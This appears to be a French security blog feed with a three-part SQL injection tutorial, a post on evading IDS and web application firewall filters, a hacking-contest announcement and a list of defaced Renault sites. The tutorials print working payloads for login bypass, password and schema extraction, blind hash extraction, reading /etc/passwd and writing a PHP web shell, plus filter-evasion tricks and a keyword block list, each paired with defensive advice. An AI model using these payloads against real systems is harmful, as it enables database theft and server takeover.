Mohammed CHERIFI » Hacking

SQL Injection: Les techniques d’évasion de filtres

Mohammed CHERIFI — Sun, 11 Sep 2011 09:04:39 +0000

Pour minimiser le risque de se faire attaquer via une injection SQL, les administrateurs système mettent souvent en place des modules de protection permettant de bloquer la majorité des attaques basiques et celles effectuées à l’aide d’un outil automatisé. Dans ce billet, j’expliquerai les techniques utilisées pour énumérer l’existence de l’un de ces derniers, ainsi que les limitations et méthodes utilisées pour contourner ces protections.

Je vous rappelle qu’en lisant ceci, vous acceptez que je ne peux être tenu responsable pour toute action prise, les informations que je partage dans ce billet sont à utiliser SEULEMENT pour faire des PENTEST.

Principe des filtres

Certains filtrages sont souvent effectués côté client, le plus souvent avec javascript sur la page Web. Il suffit pour un attaquant d’enregistrer la page localement et supprimer le script pour les évader. Toutefois, la majorité des filtrages dans notre cas se font grâce à une liste noire restrictive et par conséquent, une certaine liste de mots ne peut être exécutée. Les outils les plus couramment utilisés pour cela sont: les systèmes de détection d’intrusion (IDS) et les filtres d’applications Web (WAF).

Les systèmes de détection d’intrusion

Un système de détection d’intrusion surveille l’activité réseau pour essayer de détecter des actions malveillantes et se concentre principalement sur l’exploitation forestière en faisant état de tentatives d’exploiter une application web. ce dernier essaye de répondre aux attaques et les empêche de se produire.

Le principe d’un IDS est de comparer les entrées de l’utilisateur avec des patterns malicieux connus appelés SIGNATURES. En voici un exemple:

alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: « SQL Injection attempt »;
flow: to_server, established; content: « ‘OR’1′=’1′– »; nocase; sid: 1; rev:1;

D’où le ‘OR’1′=’1′– est ce qui est observé et ce qui provoque l’IDS pour alerter l’administrateur Web en lui envoyant comme message: « SQL Injection attempt ».

Bien entendu ceci n’est qu’un exemple, plusieurs combinaisons peuvent être utilisées pour contourner ce genre de protection, par-contre si l’IDS utilise un bon dictionnaire de SIGNATURES, l’attaquant devrait avoir beaucoup de créativité car il devient de plus en plus difficile de les contourner.

Les filtres d’applications WEB

Un filtre d’application WEB est un logiciel appliquant certaines règles à la requête pour tenter d’empêcher le code malveillant d’atteindre le serveur. Un WAF pourrait mettre en œuvre une liste noire ou blanche pour le contrôle d’entrée ce qui donne à beaucoup d’administrateurs un faux sentiment de sécurité. Pourquoi? la réponse c’est que tout simplement l’essentiel est la sécurité du codage du site Web.

Si vous obtenez une erreur « 501 Method Not Implemented » ou bien « 200 Condition Intercepted » après une tentative de test d’injection SQL avec « union all select » c’est que le serveur surlequel vous effectuez vos pentest utilise un WAF, mod_security par exemple..

En rappelle mod_security est un pare-feu open source d’applications Web qui fonctionne en tant que module du serveur Apache. Il dispose d’un ensemble complet de règles appelé «règles de base ModSecurity» pour bloquer les vecteurs d’attaques d’application web (injections SQL, Cross-Site Scripting etc..)

Contourner un IDS/WAF

Il existe plusieurs méthodes pour tester la fiabilité d’un IDS/WAF et éventuellement pour le contourner, voici une liste non-exhaustive des techniques qui peuvent permettre de surpasser les filtres:

Commentaires avec variables

Cette technique exploite une faille dans la méthode d’interprétation des variables dans Apache, on prends l’exemple suivant :

article.php?id=-1 UNION SELECT 1,2,3,4

Interprétation mod_security :
id=-1 UNION SELECT 1,2,3,4 => BLOQUÉE

article.php?id=-1 UNION/**/SELECT/**/1,2,3,4

Interprétation mod_security :

id=-1 UNION/**/SELECT 1,2,3,4 => BLOQUÉE

Interprétation de l’application : : $_GET['id'] = « -1 UNION/**/SELECT/**/1,2,3,4″

article.php?id=-1 UNION/*&test=1*/SELECT/*&pwn=2*/1,2,3,4–

Interprétation mod_security :

id: -1 UNION/*
test: 1/*SELECT/*
pwn: 2/*1,2,3,4–

aisni => id=-1 UnION/*&test=1*/SELECT/*&pwn=2*/ 1,2,3,4 => PASSE

Interprétation de l’application : : $_GET['id'] = « -1 UNION/*&test=1*/SELECT/*&pwn=2*/1,2,3,4″

Phrases remplacées par des chaines vides et espace

Certains filtres, afin d’empêcher l’exécution de requêtes contenant certains mots clés, ils remplacent ces derniers par des espaces/chaines vides ainsi :

-123 UNION SELECT 1,2,3,4

devient :

profile.php?id=-1231,2,3,4

Ce type de protection est facilement contournable on dupliquant le même mot restreint au milieux de ce dernier:
exemple :

-1 UNunionION SELselectCT 1,2,3,4

ce qui donnera après remplacement

-1 union select 1,2,3,4

Dans certains cas, les WAF remplacent également les caractères spéciaux comme « ‘;:(){}/**/&$|?<> .Un attaquant peut s’en servir comme séparateur pour construire des mots clés restreins après suppression de l’un de ces caractères.. exemple :

profile.php?user_id=-1 un?

Les null-bytes

Placer un caractère null (%00) après un mot filtré peu dans certains contourner le filtre..

Encodage de caractères

La majorité des IDS&WAF ne supportent pas tous les types d’encodage, ainsi un attaquant peut encoder les paramètre dans l’URL pour échapper aux filtres:

Hex encoding: conversion de chaine en hexadécimal, exemple : load_file(0×2f6574632f706173737764) => load_file(/etc/passwd)
Unicode: %uff41%uff42%uff43 = ‘abc’
La fonction Char: CHAR(41,42,43) = ‘abc’, utilisable les codes décimales en ASCII
Le double Encoding: le principe est d’encoder les caractères deux fois de suite dans le but d’obtenir un caractère restreint après interprétation, exemple : Le signe % est égale à 25 en hexadécimal, quand codé pour les URLs il devient %25. Le «signle quote» ‘ est symbolisé par le chiffre 27 en hexadécimal ainsi dans une URL il ressemble à %27. si on l’encode à nouveau on obtient %2527 qui est interprété comme étant un «single quote» ‘, ce qui peut être en mesure de contourner certains filtres.

Conclusion

Utiliser un système de détection d’intrusion ou un par-feux d’application web est une bonne pratique pour minimiser le risque d’être attaqué, toute-fois avec peu de créativité, un attaquant peut réussir à les contourner et compromettre votre application web, ainsi la meilleure solution est de bien sécuriser votre code avant tout!

Je rappelle que je ne revendique aucune responsabilité des actions que vous prenez en lisant ceci, Le but étant d’attirer l’attention des administrateurs système afin de ne pas avoir un faux sentiment de sécurité :) .

Merci pour la lecture! Commentaires et critiques constructives sont toujours les bienvenus.

Partager cet article:

Hacking: Moroccan Cyber Security Challenge 2011

Mohammed CHERIFI — Fri, 25 Mar 2011 18:48:47 +0000

Moroccan Cyber Security Challenge

MCSC ou Moroccan Cyber Security Challenge est le premier événement underground de Hacking au Maroc, organisé par les élèves ingénieurs du club INSEC, un club de jeunes passionnés dédié à la sécurité de l’information et en partenariat avec OWASP, l’événement est organisé sous le thème : « Appréhendez les menaces, pour en mieux s’en protéger.. » et aura lieu au sein de l’ENSIAS à Rabat le 15 Avril 2011

C’est la première compétition de ce genre au Maroc. pour cette édition, seuls les élèves ingénieurs peuvent participer et seront confrontés à des épreuves sur plusieurs niveaux et de différentes catégories, l’objectif étant de déceler les vulnérabilités et les exploiter pour avoir le code de validation de chaque épreuve. Chaque grande école sera représenté par une équipe qui a pour objectif de résoudre des contestes , un système intelligent de point est mis en place pour compter les épreuves validées ainsi on découvrira les champions de cette première édition !

Vous êtes des fous furieux de sécurité informatique? élèves ingénieurs marocains et souhaitez tester vos connaissances en Hacking en toute légalité? vous aimez les challenges? et ben c’est l’occasion. Les trois premières équipes seront récompensées par des lots divers.

Des conférences et ateliers seront animés en parallèle par des professionnels du domaine de la sécurité des systèmes d’information et seront destinés à un public varié. Cette première édition verra l’intervention de l’OWASP et des professionnels du domaine de la sécurité à l’échelle international et national. Il y aura également des sessions débat et rencontres entre étudiants professionnels. L’entrée est gratuite et surtout libre!

Il faut dire qu’au Maroc la culture d’underground et de sécurité informatique n’a pas encore atteint la maturité qu’il faut par rapport aux autres pays, je salues donc cette initiative qui nous permettra d’avoir des futurs ingénieurs avertis et qui produiront du code propre et sécurisé, cet événement et aussi pour dire que le Hacking n’est pas de la magie et qu’il suffit de prendre certaines mesures qui deviendront par la suite des réflexes pour le bien du web Marocain!

Du coup, je vais aller y faire un tour cette année, (vu que j’ai participé à la réalisation de quelques challenges) et j’essayerai de vous faire un feedback de l’ambiance qui règne là bas. donc pour vous rappeler : Ça se déroulera le samedi et dimanche 15 et 16 Avril, de 14h à 20h! et le concours se déroulera toute la nuit à partir de vendredi minuit jusqu’à 9:00 du samedi matin! on se voit là bas alors?

Je vous invite à découvrir le programme détaillé sur le site officiel du club INSEC et je vous dit à très bientôt!

Partager cet article:

SQL injection avancée: Blind SQL injection (partie 3)

Mohammed CHERIFI — Wed, 19 May 2010 23:10:05 +0000

Après les deux premiers tutoriaux au sujet des attaques de type SQL Injection, le billet d’aujourd’hui sera dédié à un vecteur d’attaque un peu particulier, si vous ne connaissez pas les principes d’une injection sql, je vous invite vivement à lire les deux premiers articles avant de passer à la suite ;)

Je rappelle que la série de ces tutoriaux est dans le but de donner une idée sur les différents aspects et vecteurs d’attaque d’une injection SQL, j’espère que ça vous aidera à mieux vous protéger et percevoir les risques en codant, n’hésitez pas à me faire part de vos remarques ;)

Qu’est ce que Blind SQL Injection?

Blind SQL Injection est un vecteur d’attaque dont l’approche est très différente de celle des injections classiques, elle permet comme ses ascendants d’injecter des données à partir d’une base d’une application vulnérable. Repérer une faille de ce type n’est pas toujours facile et demande une série de tests.

Les Injections blind se caractérisent par l’absence d’un message d’erreur qui permettra de repérer la faille, ce qui impose une serie de tests « à l’aveuglette » qui permettront d’identifier la présence d’une faille ou pas !

Prenant un exemple :

On considère une application web avec une page profile.php avec le code ci-dessous :

//…
$user_id = stri_replace('union','',$_GET['user_id']);
$query = "SELECT * FROM profile WHERE user_id = $user_id" ;
if(!@mysql_query($query)){
	echo "Ce membre n'existe pas";
}
else{
	//Affichage des données du profil
}

Ce code semble sécurisé contre les injections classiques puisqu’il remplace le mot clé « union » qui peut permettre à un attaquant de sélectionner une nouvelle ligne et détourner la requête, toute-fois un attaquant malveillant peut l’exploiter!

Analysant cette requête :

profile.php?user_id=1

Cet appel affichera le profile de l’utilisateur ayant l’id 1 (généralement l’administrateur du site)

Que se passera t’il avec :

profile.php?user_id=1 AND 1=2

Logiquement 1 != 2, si le script n’affiche pas le profil c’est que la condition rajoutée a été exécutée dans la requête, on peut vérifier ça on rajoutant une condition qui retourne toujours true (profile.php?user_id=1 AND 4=4), si avec cette appel le profil de l’utilisateur ayant user_id=1 s’affiche, c’est que le script est vulnérable à une injection de type « Blind SQL Injection », alors là! La bonne nouvelle c’est que l’attaquant ne voit aucune information affichée, la mauvaise c’est qu’il peut facilement bruteforcer l’information en rajoutant des condition dans l’url et suivant l’affichage ou le non-affichage du profile, il peut donc comprendre si la condition qu’il a mise est correcte par la suite extraire les information caractère par caractère

Exemple permettant de vérifier que la version de mysql est 5:

profile.php ?user_id=1 AND version() MATCH 5

Voyant ce qu’un attaquant malveillant peut faire pour exploiter cette faille :

profile.php?user_id=1 and length(password)=32

cet appel illuste un test sur la longueur du champ password, généralement les passes sont cryptés en md5, si c’est le cas le profil s’affiche et ça facilite à l’attaquant la poursuite de son exploitation ! Un md5 est une chaine de caractère en hexadécimal [09-af] donc 16 possibilités pour chaque caractères, du coup les possibilités ne sont pas énormes, 16 test au maximum peuvent permettre d’injecter un caractère du champ password, ce qui donne 512 requêtes en total pour extraire le hash md5 de l’utilisateur ayant user_id = 1

Exemple :

profile.php?user_id=1 AND substr(password,0,1)= 0×66

Pour tester si le premier caractère est un « f » (0×66 correspond au code hexadécimal de la lettre f) ainsi selon l’affichage (ou non) du profil utilisateur l’attaquant peut facilement injecter le reste, évidement sans aucun message d’erreur affiché sur son écran !

Pour résumer: Une Blind SQL Injection est toujours exploitée grâce à un bruteforce à l’aveuglette on se servant d’une page vulnérable qui affiche une donnés X, selon l’affichage ou non de cette dernière on peut deviner les données se cachant derrière.

Comment sécuriser son application ?

Les bonnes pratiques à adopter pour éviter de se faire pirater son site sont généralement les mêmes que j’ai cité dans les deux premier tutoriaux : de manière générale : Ne jamais se contenter de cacher les messages d’erreur, pensez toujours à filtrer les entrées, rajouter toujours les « signles quotes » aux variables que vous usez dans vos requêtes SQL et filtrer toujours avec la fonction mysql_real_escape_string

Partager cet article:

Le réseau des sites web Renault piraté

Mohammed CHERIFI — Wed, 19 May 2010 01:18:29 +0000

Le réseau des sites web de la célèbre marque Renault, l’un des plus grands acteurs du marché automobile, a été piraté lundi 17 mai 2010 par un groupe de hackers s’intitulant « v4 Team ». Ces derniers ont pu avoir accès sur le serveur principale hébergeant toutes les extensions des domaines renault y compris renault.co.ma.

Suite à cette attaque massive, 52 sites officiels de renault ont été défigurés, affichant un message « by Q8 H4×0r renalut 0wn3d », les attaquant semblent exploiter une faille au niveau du serveur IIS6 tournant sous Windows 2003.

Liste des sites piratés:

renault.uz
www.renault.co.uz/v4.asp
renault.com.pk/v4.asp
www.renault.com.pr/v4.asp
www.renault.eu/v4.asp
renault.sg/v4.asp
www.renault.tg/v4.asp
www.nouveautes-entreprise.renault.fr/v4.asp
www.megane-hatch-fleet.renault.co.uk/v4.asp
empresas-novidades.renault.pt/v4.asp
megane-sport-tourer-empresas.renault.pt/v4.asp
www.scenic-empresas.renault.pt/v4.asp
www.nuevo-megane-sport-tourer-empresas.renault.es
renault.com.tj
renault.co.ma
www.renault.co.tt/x.asp
www.renault.cg/x.asp
www.renault.ec/x.asp
www.nouveau-scenic-entreprises…
www.renault.com.ly/x.asp
www.renault.mobi/x.asp
www.renault.my/x.asp
www.renault.com.py/v4.asp
renault.com.ro/v4.asp
www.renault.gen.in/v4.asp
renault.hn/v4.asp
renault.la/v4.asp
http://megane-estate-entreprises.renault.fr/v4.asp
http://nouveautes-entreprises.renault.com/v4.asp
renault.com.az/x.asp
www.renault.co.in/x.asp
renault.cm/x.asp
renault.gy/x.asp
www.renault.hk/x.asp
www.renault.mq/x.asp
www.renault.kg/x.asp
www.renault.sn/x.asp
www.renault.asia/x.asp
http://new-models-fleet.renault.co.uk
renault.co.th/x.asp
renault.com.pt/x.asp
renault.co.ve/x.asp
new-models-fleet.renault.co.uk
megane-sport-tourer-fleet.rena…
www.renault.biz
http://nueva-gama-empresas.renault.es/x.asp

renault.ht/x.asp

http://nuevo-megane-berlina-empresas.renault.es/x.asp
http://www.megane-berlina-empresas.renault.pt/x.asp
renault.bo/x.asp
nuevo-scenic-empresas.renault.es/x.asp
renault.vn/x.asp

[Tutoriel] – SQL Injection Avancée (Partie 2)

Mohammed CHERIFI — Mon, 16 Nov 2009 01:24:12 +0000

Me revoilà, comme promis avec la suite de cette série de tutoriaux, vous vous rappelez bien de l’épisode précèdent ? On avait parlé des injections SQL classiques, on a vu comment un attaquant pourra by-passer une identification, également comment ce dernier peut repérer une injection grâce aux messages d’erreurs et injecter des données depuis la base de données!

Aujourd’hui on verra de plus prêt le danger réel que représente une injection SQL sur un site, l’objectif est que tout développeur web aie conscience du risque encouru que resprésente une Injection SQL, je donnerai des exemples de code vulnérables, ce que peut faire un attaquant pour les exploiter, et comme toujours des solutions pour mieux sécuriser son code ;)

Savez vous qu’avec une injection SQL un attaquant peut:

Récupérer les noms des tables et des champs et injecter des données sensibles
Injecter un paramètre dans une entête HTTP
Lire/Écrire dans un fichier et potentiellement exécuter des commandes système sur la machine distante

MySQL et information_schema

Alors pour commencer, et comme j’avais dit dans l’article précèdent, on verra comment un attaquant pourra lister les noms des tables présentes dans votre base, ainsi que tous les champs!

En fait, information_schema est une base de données propre à mysql, elle existe depuis la version 5, et contient des informations sur tous les objets accessibles à l’utilisateur courant

Le problème c’est que dans mysql, information_schema est par default accessible à tous les utilisateurs! Du coup un attaquant peut lister les noms des tables et champs!

En reprenant l’exemple que j’avais donné dans le premier tutorial (Injecter des données depuis une table) , voici un bout de code qui permet de lister les noms des tables présentes sur une base!

profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();--

Cette requête injectera le nom de la première table présente sur la base de données courante, à noter que database() est une fonction spécifique à mysql qui retourne le nom de la base de données en cours! Ainsi l’attaquant peut lister toutes les tables on rajoutant la clause LIMIT

profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 1,1–
// ou encore
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 2.1–

Injection des noms de champs

Les noms des champs existe dans la table COLUMNS , un simple union peut permettre à un attaquant d’injecter ces derniers!
// afficher le premier champ

profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ –
// afficher le troisième champ
profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ LIMIT 2,1–

SQL Injection et les entêtes HTTP

L’une parmi les erreurs que certains programmeurs commettent lors du développement d’une application, est le fait de faire confiance aux variables d’environnement et aux entêtes HTTP! Il ne faut jamais se contenter de filtrer GET/POST/COOKIE car ce n’est pas suffisant

Voici un exemple pour démontrer le risque encouru:

On considère un script de rating, permettant aux utilisateurs de voter une seule fois pour chaque sondage! Pour mettre en place un tel système, le script récupère l’adresse IP de l’utilisateur en prenant en compte l’utilisation d’un proxy (X_FORWARDED_FOR) avec la fonction suivante:

function get_real_ip(){
return isset($_SERVER['HTTP_X_FORWARDED_FOR'])
? $_SERVER['HTTP_X_FORWARDED_FOR']
: $_SERVER['REMOTE_ADDR'];
}

Le traitement se passe au niveau d’une page vote.php qui récupère la note et vérifie si l’adresse ip ne figure pas dans les ips ayant déjà voté pour le même article, si tout va bien le vote est enregistré, sinon un message d’erreur est affiché: « Désolé [IP] mais vous avez déjà voté pour l’article [toto] »

if(!empty($_POST['id']) && !empty($_POST['note']))
{
$article_id = intval($_POST['id']);
$note = intval($_POST['note']);
$ip = get_real_ip();
$req = mysql_query("SELECT ip,titre FROM votes WHERE id = '$article_id' AND ip = '$ip'") or die(mysql_error());
if(mysql_num_row($req) > 0){
$data = mysql_fetch_array();
echo "Désolé ".$data['ip']." mais vous avez déjà voté pour l'article ".htmlspecialchars($data['titre'])
}
else
{
// traitement ...
echo "Merci pour votre vote";
}
}

Que se passe t’il si un attaquant envoie la requête HTTP suivante:

POST /vote.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
X_FORWARDED_FOR: ' union select user(),2--
Connection: close

id=1&amp;amp;note=10

Scénario

La fonction get_real_ip() retrouvera l’entête $_SERVER['HTTP_X_FORWARDED_FOR'] et retournera comme valeur : ‘ union select 1,2–

La requête SQL deviendra :

SELECT ip,titre FROM votes WHERE id = ‘1′ AND ip = ‘ ‘ union select user(),1111–’

Le nombre de lignes retourné sera 1 > 0 donc le message suivant s’affichera :

Désolé root@localhost mais vous avez déjà voté pour l’article 1111

d’où root@localhost et 1111 correspondent respectivement à user() et 1111

Vous l’avez bien compris? Il est possible de polluer l’entête HTTP X_FORWARDED_FOR avec du code SQL (‘ union..) et résulter une injection, pensez donc toujours à échapper toute variable récupérée à partir d’une entête HTTP ($_SERVER, $_COOKIE) bref tout ce qui peut être manipulé par l’utilisateur!

MYSQL et la permission FILE

Lire un fichier avec load_file()

Lors de la création d’un utilisateur dans MYSQL, l’administrateur assigne des droits (SELECT, UPDATE, DROP ..) à l’utilisateur en question sur une table, parmi ces droits il existe la permission FILE, elle permet de lire un fichier à partir d’une requête SELECT

exemple :

SELECT load_file(‘/home/user/data_articles.txt’) INTO articles ;

Sur certains serveurs, la permission FILE est assignée par défaut aux utilisateurs, du coup la présence d’une injection sql peut permettre aux attaquants de lire n’importe quel fichiers accessible depuis mysql! et encore si les droits du daemon mysql sont mal configurés, un attaquant malveillant peut lire les données d’un autre utilisateur sur le même serveur!

profile.php?id=-1 UNION SELECT null, load_file(‘/home/victimuser/public_html/config.php’)–

Écriture dans un fichier (OUTFILE/DUMPFILE)

Si la permission FILE est assignée à l’utilisateur courant, un attaquant peut écrire des données dans le système de fichier, à condition que les droits d’écriture soient assignés au dossier/fichier en question

Dans mysql les fonctions OUTFILE et DUMPFILE permettent d’écrire dans un fichier, ainsi un attaquant peut s’en servir pour injecter du code PHP:

Exemples:

profile.php?id=-1 UNION SELECT null, '' INTO OUTFILE '/home/victime.com/public_html/uploads/shell.php'--

profile.php?id=-1 UNION SELECT null,  '' INTO DUMPFILE '/home/victime.com/public_html/uploads/shell.php'--

L’exécution de cette requête provoquera la création d’un script shell.php dans le dossier nommé « upload » et permettra à l’attaquant d’exécuter des commandes système sur le serveur avec les droits du daemon apache..

http://www.victime.ltd/uploads/shell.php?cmd=ls -l

Je vous laisse imaginer les conséquences que cela peut engendrer =)

SQL injection et urlencode()

J’ai remarqué sur certain script l’utilisation de la fonction urlencode() pour échapper les entrées utilisées dans une requête, en fête ce n’est pas suffisant et pas du tout fiable comme moyen de protection, voici un exemple :

Page : index.php?page=test

$sql = mysql_query(« SELECT title,content FROM pages WHERE page_name = ‘ ».urlencode($_GET['page']). » ‘ »);

Ce code peut bien échapper un signle quote d’où index.php?page=test’ génèrera la requête
SELECT title,content FROM pages WHERE page_name = ‘test%27′

Tout est normale jusque là! Le single quote ‘ est encodé en %27, mais que se passera t’il si on re-urlencode notre %27 en %2527 ? :)

Résultat: Ca va injecter un ‘ au nez de la requête, du coup l’appelle de la page :
index.php?page=test%2527 union select null, ‘Hello’– va produire la requête suivante :

SELECT title,content FROM pages WHERE page_name=’test’ union select null,’Hello’–’

Ne cherchez pas à vous compliquer la vie, mysql_real_escape_string() est votre amie =)

MySQL et magic_quote_gpc

magic_quote_gpc est une directive dans le fichier de configuration php.ini, elle permet
d’ajouter automatiquement un backslash (\) à toute variables gpc ($_GET, $_POST, $_COOKIE). Si
cette directive est activée, il n’est pas possible d’injecter un signle quote dans une requête à une
variable globale (GPC)! Parcontre ça reste toujours contournable dans certains cas! il n’y a pas que $_GET/$_POST/$_COOKIE en PHP =)

Voici des exemples d’un contournement possible permettant d’injecter une chaine en l’encodant en hexadécimale :

Profile.php?id=-1, load_file(0×2f6574632f706173737764)–

la chaine 0×2f6574632f706173737764 correspond à /etc/passwd, ainsi un attaquant peut encoder n’importe quelle chaine pour injecter par exemple les noms de tables et champs à partir de la base information_schema.. vous pouvez imaginer les possibilités..

L’activation de magic_quote_gpc peut vous éviter pas mal de problèmes, mais ca reste tout de même pas un moyen idéal pour se protéger! Il ne faut pas se contenter de l’activer et se dire que vous êtes à l’abri :)

les Filtres anti-sql injection

Un filtre sql injection est tout simplement un script qui permet de filtrer les entrée saisis par l’utilisateurs et detecter une éventuelle tentative d’attaque! il est important de prévoir toutes les possibilités sinon le filtre risque d’être contourné!

Voici un exemple d’un filtre qui detecte le mot clé UNION dans une requette:

$apply_to = array('GET','POST','COOKIE');
$bad_words = array('union','order by','select','from','where');
foreach($apply_to as $g){
foreach($$g as $key => $val){
foreach($bad_words as $word){
if(strstr($val,$word)){
die('SQL Injection Attempt detected');
// Writing the log attaque into log file
}
}
}
}

Ce filtre parait bien, mais il est contournable car il ne vérifie pas la casse!

immaginons l’appelle de la page

profile.php?id=-1 UnIoN SeleCt nuLl, NUll, nulL, password FroM users–

un attaquant peut facilement contourner ce script on modifiant la casse de chaque mot protégé! c’est juste un exemple pour dire qu’avant de créer un filtre, il faut penser à toutes les possibilités ce qui est pénible, le mieux à mon avis est d’adopter les bonnes pratiques en codant proprement =) on peut pas toujours nous mettre dans la peau d’un pirate ;)

Comment se protéger contrer les injections SQL?

Voilà donc! J’ai essayé d’exposer différentes façons à travers lesquelles un attaquant malveillant peut vous atteindre en exploitant une injection SQL, le but c’est que chaque programmeur aie une vision claire de ce qu’un attaquant peut faire en passant par une injection!

Voici les bonnes pratiques à adopter pour éviter de se faire injecté sa base par un kiddie :

Ne donnez jamais les droits aux utilisateurs sur la base de données information_schema, ça permetera de rendre l’exploitation d’une injection (si elle existe) plus difficile pour un attaquant!
Si vous utilisez un CMS comme Joomla! Drupal, Magento.., pensez toujours à modifier les préfixes par default!
Méfiez vous des entêtes HTTP, échappez toutes les entrées et validez-les avant de les utiliser dans une requête
Ne jamais donner les droits FILE aux utilisateurs mysql
Après l’installation d’un serveur dedié, pensez à modifier le mot de passe root de mysql, il est par default vide, sachant que le compte root possède tous les droits sur toutes les bases!
N’utilisez jamais la fonction urlencode() pour échapper les quotes dans une requête, utilisez plutôt mysql_real_escape_string()
Pensez toujours à lire les fichiers logs d’apache, repérez les URL suspect et vérifier si c’est susceptible d’être vulnerable :)

Voilà donc pour cet épisode, dans le prochain je parlerai des Blind injections SQL! J’espère que ce tutorial vous a été utile, n’hésitez pas à enrichir la discution :), toute question/ remarques sont les bienvenues :)

Partager cet article:

[Tutoriel] SQL Injection – Les classiques (partie1)

Mohammed CHERIFI — Tue, 27 Oct 2009 01:36:03 +0000

Hello,
Aujourd’hui je vous parlerai d’un vecteur d’attaque très répondu sur internet, c’est SQL Injection, le sujet est très riche, j’ai donc décidé de le répartir en trois parties:

Les injections SQL basiques
SQL Injection avancée
Blind SQL Injection

Dans ce billet, j’expliquerai le concept d’une Injection SQL basique, les différentes formes sous lesquelles elle peut se présenter dans une application WEB, illustrées par des exemples concrets, ainsi que des solutions pour sécuriser son code et prévoir ce genre d’attaques!

Comme vous le savez tous, SQL (Structured Query language), est un langage de bases de données qui constitue le cœur des applications WEB qui interagissent avec un SGBD, sachant que le concept d’une Injection SQL est commun pour tous les types de SGBD (avec quelques petites variations), dans toute la série de ces tutoriaux, je vais considérer qu’on travaille sur une base de données MySQL qui tourne sur un serveur LAMP!

Alors c’est parti =)

SQL Injection, c’est quoi ?

SQL Injection est parmi les vecteurs d’attaques les plus connus sur la toile!, son principe est de modifier une requête SQL grâce à un champ mal filtré dans le but d’exécuter une requête non prévue par l’application, l’exploitation d’une injection SQL peut avoir des conséquences désastreuses sur un site, elle peut permettre à un attaquant de :

Bypasser une authentification
Lire des données sensibles depuis les tables mySQL
Injecter le nom et le schéma de la base de données
Lire et écrire dans le système de fichier et potentiellement exécuter du code PHP

Comment repérer une injection SQL?

Une Injection SQL est souvent repérée par un attaquant grâce aux messages d’erreurs, le test est assez facile à faire, il suffit d’insérer un caractère spéciale (un signle quote « ‘ » le plus souvent), ou modifier le type d’une variable utilisée dans une requête SQL, si la variable est mal filtrée l’exécution de la requête est interrompue et il y a de fortes chances que cette dernière est faillible à une Injection

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

Et oui! c’est ça, merci mysql_error =)

Et si on passe aux exemples?

Assez de blabla, là on passe aux exemples, et on commence par l’un des plus classiques :

Bypasser une identification:

Stanislas: un développeur en herbe a conçu un formulaire d’identification, qui permet de poster le nom d’utilisateur et le mot de passe dans une page PHP, cette dernière vérifie si c’est les bons et affiche un message selon le résultat:

Code :

// page processlogin.php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = mysql_query("SELECT * FROM users WHERE username = '$username' AND password = '$password'") or die(mysql_error());
if(mysql_num_rows($sql) == 1)
{
echo "Bienvenue $username dans votre espace membre!";
}
else
{
echo "Nom d'utilisateur et/ou mot de passe incorrecte";
}

Maintenant imaginons qu’un attaquant se connecte avec comme login : admin’–, la requête devient :

SELECT * FROM users WHERE username = ‘admin’–‘ AND password = ‘$password’

La requête SQL va aboutir, le single quote permettra de fermer le délimiteur de la chaine admin et les deux tirées servent à mettre le reste de la requête en commentaire, du coup la vérification du mot de passe sera ignorée ;) , Bienvenue admin dans votre espace membre!

C’est juste un exemple! l’attaque peut se présenter différemment selon la requête SQL :

Exemple 2:

//...
$sql = mysql_query("SELECT * FROM users WHERE ( username='$username' AND password = '$password' )");

Dans ce cas, pour bypasser l’identification il y a plusieurs possibilités, l’une est d’utiliser comme login: admin’)–
ou encore, comme login : admin’) or (‘a’='a, le principe est de toujours forcer la requête à retourner true :)

Injecter des données depuis une table

On dit souvent que l’union fait la force! c’est le cas pour les injections SQL car là on arrive aux choses sérieuses!

la commande UNION, elle existe depuis MySQL 4.0 et permet de combiner le résultat de plusieurs requêtes SELECT en une seule. Pour l’UNION, les champs des différents SELECT doivent avoir le même nombre et le même type!

Prenant l’exemple d’un petit forum, on considère une page profile.php qui affiche le profil d’un utilisateur donné à partir de son ID récupéré par $_GET

Code :

mysql_connect("localhost","root","");
mysql_select_db("test");
$user_id = $_GET['id'];
$sql = mysql_query("SELECT usernamen, nom, prenom, email FROM users WHERE user_id = $user_id") or die(mysql_error());
if(mysql_num_rows($sql) > 0)
{
$data = mysql_fetch_object($sql);
echo "

Profile de ".$data->username."
Nom d'utilisateur : ".$data->username."
Nom et prénom : ".$data->nom." " .$data->prenom ."
Adresse email : ".$data->email."
";
}

Sans connaitre le code qui s’exécute derrière un attaquant peut détecter la présence d’une injection sql en essayant d’interrompre la requête en accèdent à la page : profile.php?id=1′, le fameux message d’erreur s’affiche, l’attaquant passe à l’étape suivante, qui est l’identification de nombre des champs utilisés dans le SELECT

La technique la plus courante est l’utilisation de la clause « ORDER BY », en incrémentant l’indice petit à petit jusqu’à ce que la page affiche une erreur

profile.php?id=1 order by 1 [OK]
profile.php?id=2 order by 2 [OK]
profile.php?id=3 order by 3 [OK]
profile.php?id=4 order by 4 [OK]
proile.php?id=5 order by 5 [ERREUR]

A ce stade là, l’attaquant peut savoir que la requête contient 4 champs dans le SELECT, et peut donc utiliser la clause UNION pour injecter des données!

profile.php?id=-1 UNION SELECT 1,2,3,4–

là on peut bien voir les chiffres s’afficher au lieu des données vu que l’id -1 n’existe pas dans la base, du coup les champs sélectionné dans l’UNOIN seront retourné (1,2,3,4), à la place de ces derniers l’attaquant peut sélectionner des données de n’importe quelle table sur laquelle l’utilisateur sql courant a les droits

Exemple :

profile.php?id=-2 UNION SELECT version(), user(), password, null FROM users
profile.php?id=-2 UNION SELECT host, user, password, database() FROM mysql.user

